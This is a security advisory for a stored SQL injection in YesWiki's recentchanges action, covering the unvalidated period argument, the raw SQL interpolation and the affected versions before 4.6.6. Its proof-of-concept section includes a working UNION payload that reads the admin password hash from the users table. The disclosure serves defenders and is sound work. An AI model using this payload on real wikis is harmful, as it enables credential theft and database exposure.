GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-89v6-j5x6-cmj3medium6.5

YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read

Check your stack

The advisory, in context

Summary

The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.

The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.

Details

Two issues compose the vulnerability.

  1. actions/recentchanges.php line 33 reads the action argument and skips the whitelist.

    if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) {
        switch ($_GET['period']) {
            case 'day':   $d = strtotime('-1 day');   $dateMin = date('Y-m-d H:i:s', $d); break;
            case 'week':  $d = strtotime('-1 week');  $dateMin = date('Y-m-d H:i:s', $d); break;
            case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break;
        }
    } else {
        $dateMin = $this->GetParameter('period');   
    }
    

    Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.

  2. In includes/services/PageManager.php, PageManager::getRecentlyChanged() interpolates the value into SQL.

public function getRecentlyChanged($limit = 50, $minDate = ''): ?array
{
    if (!empty($minDate)) {
        if ($pages = $this->dbService->loadAll(
            'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages')
            . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc"
        )) {
            return $pages;
        }
    }
}

$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.

The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.

PoC

Default fresh install so default_write_acl='*'.

  1. place the SQLi payload on a page
{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}

The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.

  1. anyone visits the page
GET /?<TriggerPage> HTTP/1.1
Host: target.example

The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).

Impact

Arbitrary read of any DB column the application's MySQL user can access.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 4.6.6

Fixed in 4.6.6

31 explicitly affected versions

4.2.3, v4.1.0, v4.1.1, v4.1.2, v4.1.3, v4.1.4, v4.1.5, v4.2.0, v4.2.1, v4.2.2, v4.2.4, v4.3, v4.3.1, v4.4.0, v4.4.1, v4.4.2, v4.4.3, v4.4.4, v4.4.5, v4.5.0, v4.5.1, v4.5.2, v4.5.3, v4.5.4, v4.5.5, v4.6.0, v4.6.1, v4.6.2, v4.6.3, v4.6.4, v4.6.5

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "4.6.6"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "4.2.3",
    "v4.1.0",
    "v4.1.1",
    "v4.1.2",
    "v4.1.3",
    "v4.1.4",
    "v4.1.5",
    "v4.2.0",
    "v4.2.1",
    "v4.2.2",
    "v4.2.4",
    "v4.3",
    "v4.3.1",
    "v4.4.0",
    "v4.4.1",
    "v4.4.2",
    "v4.4.3",
    "v4.4.4",
    "v4.4.5",
    "v4.5.0",
    "v4.5.1",
    "v4.5.2",
    "v4.5.3",
    "v4.5.4",
    "v4.5.5",
    "v4.6.0",
    "v4.6.1",
    "v4.6.2",
    "v4.6.3",
    "v4.6.4",
    "v4.6.5"
  ]
}

References